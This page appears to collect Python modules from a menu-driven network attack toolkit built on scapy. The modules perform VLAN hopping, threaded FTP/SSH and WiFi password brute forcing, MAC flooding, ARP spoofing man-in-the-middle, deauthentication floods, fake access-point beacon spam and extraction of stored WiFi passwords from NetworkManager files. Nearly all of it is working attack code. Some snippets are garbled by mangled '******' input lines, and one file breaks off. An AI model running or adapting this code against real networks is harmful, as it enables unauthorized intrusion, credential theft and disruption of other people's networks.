Esempio n. 1
0
    def __init__(self):
        print("""
            1 - Attack 
            99 - Back
            """)

        self.Number = str(input("[?]>>"))
        if self.Number == str(
                1) or "Attack" in self.Number or "attack" in self.Number:

            self.interface = str(input("Enter the Interface>>"))
            self.your_VLAN = int(input("Enter the Vlan Your>>"))
            self.target_vlan = int(input("Enter the Vlan Attack>>"))
            self.Target_ip_icmp = str(input("Enter the Target ip>>"))

            self.ether = Ether()
            self.dot1q1 = Dot1Q(vlan=self.your_VLAN)
            self.dot1q2 = Dot1Q(vlan=self.target_vlan)
            self.ip = IP(dst=self.Target_ip_icmp)
            self.icmp = ICMP()

            self.packet = self.ether / self.dot1q1 / self.dot1q1 / self.ip / self.icmp
            try:

                while True:

                    print("Attack Vlan Hopping")
                    sendp(self.packet, iface=self.interface)
                    time.sleep(5)
            except:

                pass

        elif self.Number == str(99) or "back" in intro.Number:
            intro.main()
Esempio n. 2
0
    def __init__(self):
        #self.q = queue.Queue()
        self.angry1 = colored.fg("green") + colored.attr("bold")
        self.angry2 = colored.fg("red") + colored.attr("bold")
        self.angry = colored.fg("white") + colored.attr("bold")
        print(f"""{self.angry1}
            1 - FTP Brute 
            2 - SSH Brute 
            0 - back   
            """)

        self.number = str(input("[?]>>"))

        if self.number == str(1) or "use ftp" in self.number:

            self.host = str(input("HOST : "))
            self.user = str(input("USER : "******"File : "))
            self.passwords = open(self.passwords).read().split("\n")
            self.threads = int(input("Threads : "))
            print("[+] Passwords to try:", len(self.passwords))
            for password in self.passwords:
                q.put(password)
            for t in range(self.threads):
                self.thread = Thread(target=self.ftp_brute)
                self.thread.daemon = True
                self.thread.start()
        if self.number == str(2) or "use ssh" in self.number:
            self.host = str(input("HOST : "))
            self.user = str(input("USER : "******"File : "))
            self.passwords = open(self.passwords).read().split("\n")
            self.threads = int(input("Threads : "))
            print("[+] Passwords to try:", len(self.passwords))
            for password in self.passwords:
                q.put(password)
            for t in range(self.threads):
                self.thread = Thread(target=self.ssh_brute)
                self.thread.daemon = True
                self.thread.start()

        if self.number == str(99) or "back" in self.number:
            intro.main()

        q.join()
Esempio n. 3
0
    def __init__(self):
        print("""
            1 - Attack 
            99 - Back
            """)

        self.Number = str(input("[?]>>"))
        if self.Number == str(1):

            self.packet = int(input("Enter the number of packets >> "))
            self.interface = str(input("Enter the Interface >>"))
            self.arp_pkt = ARP(pdst='2.2.255.255', hwdst="ff:ff:ff:ff:ff:ff")
            self.eth_pkt = Ether(src=RandMAC(), dst="ff:ff:ff:ff:ff:ff")
            try:
                sendp(self.eth_pkt / self.arp_pkt,
                      iface=self.interface,
                      count=self.packet,
                      inter=.001)
            except:
                print("Destination Unreachable ")
        if self.Number == str(99) or "back" in self.Number:
            intro.main()
Esempio n. 4
0
File: arp_spoof.py Progetto: 04fq/56
def main():

    print("""
    1 - Arp Spoofing 
    2 - Attack revealed 
    99 - Back 
    """)
    Number = str(input("[[?]]>"))

    angry = fg("white") + attr("bold")
    angry1 = fg("green") + attr("bold")

    def _enable_linux_iproute():

        file_path = "/proc/sys/net/ipv4/ip_forward"
        with open(file_path) as f:
            if f.read() == 1:
                return
        with open(file_path, "w") as f:
            print(1, file=f)

    def enable_ip_route(verbose=True):
        if verbose:
            print("[!] Enabling IP Routing...")

        _enable_linux_iproute()
        if verbose:
            print("[!] IP Routing enabled.")

    def get_mac(ip):
        ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=ip),
                     timeout=3,
                     verbose=0)
        if ans:
            return ans[0][1].src

    def spoof(target_ip, host_ip, verbose=True):
        target_mac = get_mac(target_ip)
        arp_response = ARP(pdst=target_ip,
                           hwdst=target_mac,
                           psrc=host_ip,
                           op='is-at')
        send(arp_response, verbose=0)
        if verbose:
            self_mac = ARP().hwsrc
            print("[+] Sent to {} : {} is-at {}".format(
                target_ip, host_ip, self_mac))

    def restore(target_ip, host_ip, verbose=True):

        target_mac = get_mac(target_ip)
        host_mac = get_mac(host_ip)
        arp_response = ARP(pdst=target_ip,
                           hwdst=target_mac,
                           psrc=host_ip,
                           hwsrc=host_mac)
        send(arp_response, verbose=0, count=7)
        if verbose:
            print("[+] Sent to {} : {} is-at {}".format(
                target_ip, host_ip, host_mac))

    def Detection_attack(pkt):
        if ARP in pkt:
            ip, mac = pkt[ARP].psrc, pkt[ARP].hwsrc
            if ip in DB:
                if mac != DB[ip]:
                    if Ether in pkt:
                        target = pkt[Ether].dst
                    else:
                        target = "%s?" % pkt[ARP].pdst

                    print(
                        f"{angry1}Attack: Target={target} Victim={ip} Attacker={mac}{angry}"
                    )
                    open("Attack revealed", "a").write(
                        f" Attack: Target={target} \n Victim={ip} \n Attacker={mac}"
                    )
            else:
                DB[ip] = mac
                return "Oh!!!!Gathering %s=%s" % (mac, ip)

    if Number == str(1):
        target = str(input("[?]>> Target:"))
        host = str(input("Host_Getway : "))
        verbose = True
        enable_ip_route()
        try:
            while True:
                spoof(target, host, verbose)
                spoof(host, target, verbose)
                time.sleep(1)
        except KeyboardInterrupt:
            print("[!] CTRL+C Restoring the network, please wait...")
            time.sleep(1)
            restore(target, host)
            restore(host, target)
    if Number == str(2):
        DB = {}
        sniff(store=0, prn=Detection_attack)

    if Number == str(99) or "back" in Number:
        intro.main()
Esempio n. 5
0
import os
import subprocess
from Modules import intro
from Modules import Wifi_attack
from Modules import arp_spoof
from Modules import scan
from Modules import Broto_force_protcol
from Modules import Mac_Flooding
from Modules import Vlan_hopping

if os.getuid() != 0:
    print("Please use Root")
    exit()
if __name__ == "__main__":

    intro.main()
    _loop = 1
    while _loop:
        try:
            if intro.Number == str(1) or "show scan" in intro.Number:

                scan.nmap3_Scan()
            elif intro.Number == str(2) or "show wifi" in intro.Number:
                Wifi_attack.Wifi()
            elif intro.Number == str(3) or "show arp" in intro.Number:
                arp_spoof.main()
            elif intro.Number == str(4) or "show brute" in intro.Number:
                Broto_force_protcol.Brute_Force()
            elif intro.Number == str(5) or "show vlan" in intro.Number:
                Vlan_hopping.Attack_Vlan()
            elif intro.Number == str(6) or "show mac flood" in intro.Number:
Esempio n. 6
0
    def __init__(self):
        self.angry1 = colored.fg("green") + colored.attr("bold")
        self.angry = colored.fg("white") + colored.attr("bold")
        print(f"""{self.angry1}
        1 - Os 
        2 - Top PORT
        3-  Xmas Scan
        4 - Fin Scan 
        5 - Dns brute 
        6 - UDP Scan
        7 - TCP Scan 
        99 - back   
        """)

        self.number = str(input("[?]>>"))
        if self.number == str(1) or "use os" in self.number:
            self.Host = str(input("%s[*] Host >>" % (self.angry1)))
            self.Timing = int(input("[*] Timing >>"))
            self.OS(self.Host, self.Timing)
        if self.number == str(2) or "use top port" in self.number:
            self.Host = str(input("%s[*] Host >>" % (self.angry1)))
            self.Timing = int(input("[*] Timing >>"))
            if self.Timing == None:
                self.Top_port(self.Host)
            else:
                self.Top_port(self.Host, self.Timing)
        if self.number == str(3) or "use xmas" in self.number:
            self.Host = str(input("%s[*] Host >>" % (self.angry1)))
            self.Timing = int(input("[*] Timing >>"))
            if self.Timing == None:
                self.Xmas_Scan(self.Host)
            else:
                self.Xmas_Scan(self.Host, self.Timing)
        if self.number == str(4) or "use fin" in self.number:
            self.Host = str(input("%s[*] Host >>" % (self.angry1)))
            self.Timing = int(input("[*] Timing >>"))
            if self.Timing == None:
                self.Fin_Scan(self.Host)
            else:
                self.Fin_Scan(self.Host, self.Timing)

        if self.number == str(5) or "use brute dns" in self.number:
            self.Host = str(input("%s[*] Domain >>" % (self.angry1)))
            self.Dns_Brute(self.Host)
        if self.number == str(6) or "use udp" in self.number:
            self.Host = str(input("%s[*] Host >>" % (self.angry1)))
            self.Timing = int(input("[*] Timing >>"))
            if self.Timing == None:
                self.UDP_Scan(self.Host)
            else:
                self.UDP_Scan(self.Host, self.Timing)
        if self.number == str(7) or "use tcp" in self.number:
            self.Host = str(input("%s[*] Host >>" % (self.angry1)))
            self.Timing = int(input("[*] Timing >>"))
            if self.Timing == None:
                self.TCP_Scan(self.Host)
            else:
                self.TCP_Scan(self.Host, self.Timing)

        if self.number == str(99) or "back" in self.number:
            intro.main()
Esempio n. 7
0
File: Wifi_Hack.py Progetto: 04fq/56
    def __init__(self):

        print("""
        1 - Scan Wifi Card 
        2 - Brute Force Wifi 
        3 - Deauth Attack Wifi
        4 - View Password Wifi 
        5 - Fake Wifi  
        6 - Detect Hidden Wifi
        99 - Back
        """)

        Number = input("[?]>")

        def Hidden_Wifi(pkt):
            if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
                if not hiddenWIFI.has_key(pkt[Dot11].addr3):
                    ssid = pkt[Dot11Elt].info
                    bssid = pkt[Dot11].addr3
                    channel = int(ord(pkt[Dot11Elt:3].info))
                    capability = pkt.sprintf(
                        "{Dot11Beacon:%Dot11Beacon.cap%}\{Dot11ProbeResp:%Dot11ProbeResp.cap%}"
                    )
                    if re.search("privacy", capability):
                        encrypted = 'Y'
                    else:
                        encrypted = 'N'
                        hiddenWIFI[pkt[Dot11].addr3] = [
                            encrypted, ssid, bssid, channel
                        ]
                        print(hiddenWIFI)

        def Wifi_Broute_Force():
            try:
                while True:
                    global q
                    profile = pywifi.Profile()
                    profile.ssid = name_Wifi

                    password = q.get()

                    profile.auth = const.AUTH_ALG_OPEN
                    profile.akm.append(const.AKM_TYPE_WPA2PSK)
                    profile.cipher = const.CIPHER_TYPE_CCMP
                    profile.key = password
                    tmp_profile = inter_face.add_network_profile(profile)
                    time.sleep(2)
                    inter_face.connect(tmp_profile)
                    time.sleep(4)
                    if inter_face.status() == const.IFACE_CONNECTED:

                        print(
                            f"{angry1}[[[*]]] Crack Password is {password}{angry2}"
                        )
                        open("wifi_password.txt",
                             'a').write(f"Crack Password is {password}")
                        with q.mutex:

                            q.queue.clear()
                            q.all_tasks_done.notify_all()
                            q.unfinished_tasks = 0
                    else:

                        print(
                            f"{angry}[[[*]]] No Password {password}:{name_Wifi}"
                        )
            except:
                pass
            finally:

                q.task_done()

        def deauth(target_mac,
                   gateway_mac,
                   count=None,
                   inter=0.1,
                   loop=1,
                   iface="wlan0mon",
                   verbose=1):
            if verbose:
                if count:
                    print(
                        f"{angry1}[+] Sending {count} frames every {inter}s..."
                    )
                else:
                    print(
                        f"{angry1}[+] Sending frames every {inter}s for ever..."
                    )

            dot11 = Dot11(addr1=target_mac,
                          addr2=gateway_mac,
                          addr3=gateway_mac)
            packet = RadioTap() / dot11 / Dot11Deauth(reason=7)
            sendp(packet,
                  inter=inter,
                  count=count,
                  loop=loop,
                  iface=iface,
                  verbose=verbose)

            if count == 0:
                loop = 1
                count = None
            else:
                loop = 0

        def WifiFake(ssid, mac, infinite=True):
            dot11 = Dot11(type=0,
                          subtype=8,
                          addr1="ff:ff:ff:ff:ff:ff",
                          addr2=mac,
                          addr3=mac)
            beacon = Dot11Beacon(cap="ESS+privacy")
            essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
            frame = RadioTap() / dot11 / beacon / essid
            __loop = 1
            try:
                while __loop:
                    sendp(frame, inter=0.1, loop=1, iface=iface)
            except KeyboardInterrupt:
                __loop = 0
                pass

        def scan_wifi():

            networks = pandas.DataFrame(columns=[
                "Name_SSID", "BSSID", "dBm_Signal", "Channel", "Crypto"
            ])  # Data Frames
            networks.set_index(
                "Name_SSID",
                inplace=True)  # index SSID Name Wifi exambles : Zain..
            try:
                chack_Wifi = sub.getoutput(["iwconfig"])
                global find_card
                find_card = re.findall("wl\w+", str(chack_Wifi))[0]
                print(find_card)
                try:
                    print("[[#]] Start Mode:Monitor")
                    sub.call(["ifconfig", find_card, "down"])
                    sub.call(["iwconfig", find_card, "mode", "Monitor"])
                    sub.call(["ifconfig", find_card, "up"])
                except KeyboardInterrupt:
                    print("[[#]] Start Mode:Manged")
                    sub.call(["ifconfig", find_card, "down"])
                    sub.call(["iwconfig", find_card, "mode", "Manged"])
                    sub.call(["ifconfig", find_card, "up"])
            except:
                find_card = str(input("WifiCard #>  "))

            def callback(packet):
                if packet.haslayer(Dot11Beacon):
                    # extract the MAC address of the network
                    ssid = packet[Dot11Elt].info.decode()

                    bssid = packet[Dot11].addr2
                    # get the name of it
                    try:
                        dbm_signal = packet.dBm_AntSignal
                    except:
                        dbm_signal = "N/A"
                    # extract network stats
                    stats = packet[Dot11Beacon].network_stats()
                    # get the channel of the AP
                    channel = stats.get("channel")
                    # get the crypto
                    crypto = stats.get("crypto")
                    networks.loc[ssid] = (bssid, dbm_signal, channel, crypto)

            def print_all():
                while True:
                    os.system("clear")
                    print(networks)
                    time.sleep(0.5)

            def change_channel():
                ch = 1
                while True:
                    os.system(f"iwconfig {find_card} channel {ch}")
                    # switch channel from 1 to 14 each 0.5s
                    ch = ch % 14 + 1
                    time.sleep(0.5)

            printer = Thread(target=print_all)
            printer.daemon = True
            printer.start()
            channel_changer = Thread(target=change_channel)
            channel_changer.daemon = True
            channel_changer.start()

            # start sniffing Scan Wifi Card

            snif = sniff(prn=callback, iface=find_card)
            networks.to_html("Wifi.html")

        def View_Wifi():
            print("""
            1 - Linux 
            """)
            Number_H = int(input("[?]>>"))
            if Number_H == 1 or "linux" or "Linux ":
                view = sub.getoutput([
                    "cat   /etc/NetworkManager/system-connections/* | awk -F '='  '/ssid/{print $2}/psk=/{print $2}'"
                ])
                open("linux.txt", 'a').write(view)
                for i in view.splitlines():
                    print('\t\t' + colored.fg("green") + i + angry2)
            else:
                pass

        if Number == str(1) or "use scan wifi" in Number:
            scan_wifi()
        elif Number == str(2) or "use brute" in Number:
            wifi = pywifi.PyWiFi()
            inter_face = wifi.interfaces()[0]

            name_Wifi = str(input("[#] SSID_Name :  "))
            pass_file = str(input("[#] List_Password :  "******"Theread:"))
            pass_file = open(pass_file).read().split("\n")

            for password in pass_file:
                q.put(password)
            for t in range(theard):
                thread = Thread(target=Wifi_Broute_Force)
                thread.daemon = True
                thread.start()
            q.join()

        elif Number == str(3) or "use deauth" in Number:
            target = str(input("[?] Target Mac  :"))
            gateway = str(input("[?] Gateway Mac :"))
            count = int(input("[?] Count :"))
            iface = str(input("[?] Interface :"))
            deauth(target, gateway, count, iface=iface, verbose=1)
        elif Number == str(4):
            View_Wifi()
        elif Number == str(5):
            print("""
            1- Single Fake 
            2- Group Fake 
            """)
            numper = int(input("[?]>>"))
            if numper == 1:
                sender_mac = RandMAC()
                iface = str(input("Interface:"))
                sender_mac = RandMAC()
                ssid = str(input("Name Wifi:"))
                dot11 = Dot11(type=0,
                              subtype=8,
                              addr1="ff:ff:ff:ff:ff:ff",
                              addr2=sender_mac,
                              addr3=sender_mac)
                beacon = Dot11Beacon()
                essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
                frame = RadioTap() / dot11 / beacon / essid
                __loop = 1
                try:

                    while __loop:
                        sendp(frame, inter=0.1, iface=iface, loop=1)
                except KeyboardInterrupt:
                    __loop = 0
            elif numper == 2:

                try:

                    n_ap = int(input("AP Numper :"))
                    iface = str(input("InterFace :"))
                    faker = Faker()
                    ssids_macs = [(faker.name(), faker.mac_address())
                                  for i in range(n_ap)]
                    for ssid, mac in ssids_macs:

                        Thread(target=WifiFake, args=(ssid, mac)).start()
                except:
                    pass
        elif Number == str(6):
            hiddenWIFI = dict()
            InterFace = str(input("InterFace :"))
            __loop = 1
            try:

                while True:
                    sniff(iface=InterFace,
                          prn=Hidden_Wifi,
                          count=10,
                          timeout=3,
                          store=0)
            except:
                pass

        elif Number == str(99) or "back" in Number:
            intro.main()